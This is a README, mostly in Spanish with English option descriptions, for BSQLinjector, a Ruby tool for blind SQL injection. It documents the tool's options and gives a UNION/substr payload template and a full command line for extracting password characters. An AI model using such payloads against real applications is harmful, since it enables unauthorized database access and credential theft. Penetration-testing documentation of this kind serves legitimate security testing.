
Herramienta de explotación de inyección SQL ciega escrita en ruby.
BSQLinjector utiliza el método ciego para recuperar datos de bases de datos SQL. Recomiendo usar el interruptor "--test" para ver claramente cómo se ve el payload configurado antes de enviarlo a una aplicación.
--file Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)
--pattern Mandatory - Pattern to look for when query is true. (--pattern=truestatement)
--prepend Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"
--append How to end our payload. For example comment out rest of SQL statement. (--append='#)
--schar Character placed around chars. This character is not used while in hex mode. (--schar="'")
--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
--mode Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)
--postgres Use postgres "for" in substring function (e.g. from 1 for 1).
--hex Use hex to compare instead of characters.
--case Case sensitivity.
--ssl Use SSL.
--proxy Proxy to use. (--proxy=127.0.0.1:8080)
--test Enable test mode. Do not send request, just show full payload.
--special Include all special characters in enumeration.
--start Start enumeration from specified character. (--start=10)
--max Maximum characters to enumerate. (--max=10)
--timeout Timeout in waiting for responses. (--timeout=20)
--only-final Stop showing each enumerated letter.
--comma Encode comma.
--bracket Add brackets to the end of substring function. --bracket="))"
--hexspace Use space instead of brackets to split hex values.
--verbose Show verbose messages.
ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --schar="'" --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl
Descargo de responsabilidad
Este repositorio contiene una herramienta desarrollada estrictamente con fines educativos. Cualquier mal uso de la herramienta para actividades ilegales está estrictamente prohibido.
Aviso legal
Es importante comprender y cumplir con todas las leyes y regulaciones locales relacionadas con la ciberseguridad y el hacking ético. El acceso no autorizado a sistemas informáticos, redes o datos es ilegal y está penado por la ley. El desarrollador de este repositorio no es responsable por el mal uso de las herramientas aquí contenidas.
Al utilizar las herramientas de este repositorio, aceptas usarlas de manera responsable y ética. Siempre obtén permiso explícito antes de probar o intentar acceder a cualquier red, sistema o dato que no te pertenezca.